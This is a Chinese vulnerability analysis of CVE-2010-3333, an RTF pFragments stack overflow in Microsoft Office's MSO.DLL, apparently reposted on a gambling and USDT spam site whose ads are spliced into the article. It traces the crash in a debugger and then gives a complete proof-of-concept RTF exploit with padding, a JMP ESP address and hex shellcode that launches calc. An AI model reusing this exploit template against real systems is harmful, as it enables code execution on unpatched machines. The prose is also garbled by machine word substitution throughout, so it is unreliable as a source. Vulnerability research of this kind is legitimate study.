Allbet

usdt钱包(caibao.it):Note——CVE-2010-3333

Allbet登录网址 2020年12月22日 科技 31 1

0x01 破绽形貌

  • 破绽成因:栈溢出破绽。MSO.DLL在处置pFragments数组时未校验复制长度,故可组织数据造成栈溢出,挟制执行流。

  • 影响版本:Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for mac, Office for Mac 2011。

0x02 破绽剖析

剖析环境:

OS版本:Windows XP SP3

Word版本:11.0.5604.0

MSO.DLL版本:11.0.5606.0

使用msf天生POC:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第1张

WinDbg附加WINWORD.exe,打开POC文档,溃逃点如下:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第2张

溃逃原因EDI指向内存区域为只读属性:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第3张

重新附加WINWORD.exebp 30e9eb88设置断点,载入POC,乐成断下,查看挪用客栈如下:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第4张

IDA载入MSO.DLL,定位到0x30F4CC93位置,查看其若何通报参数:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第5张

EDI指向sub_30F4CC5D中局部变量,距离函数返回地址0x14字节,而sub_30E9EB62在执行复制操作之前并未检查长度,故可以造成栈溢出。

ESIsub_30D2810C返回值相关,跟进剖析:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第6张

ECX值需回溯到sub_30F4CD58中:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第7张

回溯到sub_30F4CD58

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第8张

回溯到此,三个参数的通报历程都已清晰,参数1:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第9张

参数2为ebp-10h,参数3为0。

借由WinDbg查看参数1详细值,bp 30F4CD58

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第10张

bp 30F4CC73:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第11张

bp 30F4CC7D

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第12张

最终通报给sub_30E9EB62三个参数如下:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第13张

盘算复制长度及源位置:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第14张

WinHex查看POC:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第15张

整体思绪:由溃逃点确定破绽触发位置——>回溯挪用栈——>剖析参数若何盘算及通报。

,

欧博亚洲网址_allbet6.com

欢迎进入欧博亚洲网址(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

,

0x03 组织POC

查阅Microsoft Office Word 2003 RTF Specification可知:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第16张

界说数组规范如下:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第17张

界说Drawing Object(绘图工具)属性规范如下:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第18张

首先我们组织一RTF文档如下:

{\rtF1{\shp{\*\shpinst{\sp{\sn pFragments}{\sv 1;1;12345678}}}}}

执行到0x3122FFE8处:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第19张

此时其返回值为0,不会执行到挪用Ordinal501处:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第20张

Ordinal501历程会修改内存0x014d1592处内容,进而影响到sub_30E9EB62中复制长度:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第21张

接着组织RTF文档如下:

{\rtf1{\shp{\*\shpinst{\sp{\sn pFragments}{\sv 1;1;123456780800616162636465666768}}}}}

执行完0x3122FFE8后返回值为1:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第22张

跟进Ordinal501

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第23张

继续执行到0x30E9EB88处:

usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第24张

最终组织POC内容如下:

{\rtf1{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;1234567801016161616162626262636363636464646465656565904dc57dAABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8fACA817cffd0}}}}}

{\rtf1{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;无需多言,12345678是填充数据,0101是复制长度(笔者并未正确盘算),6161616162626262636363636464646465656565用以填充栈,904dc57d是JMP ESP指令地址,AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD会被处置为全零(详见下文),33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0是一段弹盘算器Shellcode(一定要以小写字母形式写入)。

注:

  1. AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD会被处置为全零

    据笔者调试,复制字符中的大写字母会以0举行替换:

    usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第25张

    30F4CB29处指令会将[ebp+10h]与0举行对照——若不相等,会挪用sub_30F4CE43,如此一来,会泛起如下提醒:

    usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第26张

    而不会跳转到Shellcode执行。[ebp+10h]指向数据正好位于此块中,故我们借其处置机制将之所有替换为0,以完成跳转:

    usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第27张

    usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第28张

    最终乐成弹出盘算器:

    usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第29张

  2. 上述内容笔者接纳"正序"论述,但现实调试历程却是"倒序"。最初切入点是0x30E9EB6F,确定长度字节位置:

    usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第30张

    而此处内存由VirtualAlloc分配,故附加WINWORD.EXE后于该API处设断,F9运行起来,打开RTF文档,第三次断下时:

    usdt钱包(caibao.it):Note——CVE-2010-3333 安全技术 漏洞分析 第31张

    此时便可于0x14D158C处设置内存接见断点。


Allbet声明:该文看法仅代表作者自己,与www.allbetgame.us无关。转载请注明:usdt钱包(caibao.it):Note——CVE-2010-3333
发布评论

分享到:

欧博allbet网址:宝宝的小丁丁又硬了?别慌,这些羞答答的知识一次性讲清楚
1 条回复
  1. 欧博APP
    欧博APP
    (2021-01-14 00:02:42) 1#


    跟期待的一样

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。